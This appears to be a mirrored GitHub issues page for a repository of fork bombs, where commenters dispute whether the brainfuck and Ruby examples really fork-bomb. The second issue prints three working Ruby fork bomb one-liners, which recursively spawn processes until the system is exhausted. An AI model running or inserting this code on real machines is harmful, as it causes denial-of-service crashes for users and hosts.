Code Monkey home page Code Monkey logo

fork-bomb's Issues

brainfuck example is not a fork bomb

it is an infinite loop. If you were to convert it to C, it would look like this:

void run(int* mem) {
    *mem++;
    while(*mem) { mem++; *mem++; };
}

which is very clearly not a fork bomb

Ruby example isn't good

The Ruby example loops and forks... I don't think it's a fork bomb at all.

A fork bomb in Ruby 3 will look like this:

#!/usr/bin/env -S ruby --disable-gems
method(def f = fork { f && sleep }).call

There's no loop inside. The method f calls itself. It requires no file load, no loop.

Modified version for Ruby 3 only:

#!/usr/bin/env -S ruby --disable-gems
send(def f = fork { f && sleep })

For lower Ruby versions, we can use stabby lambda, lambda or a proc:

#!/usr/bin/env -S ruby --disable-gems
(f = -> { fork { f.() && sleep } }).()

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.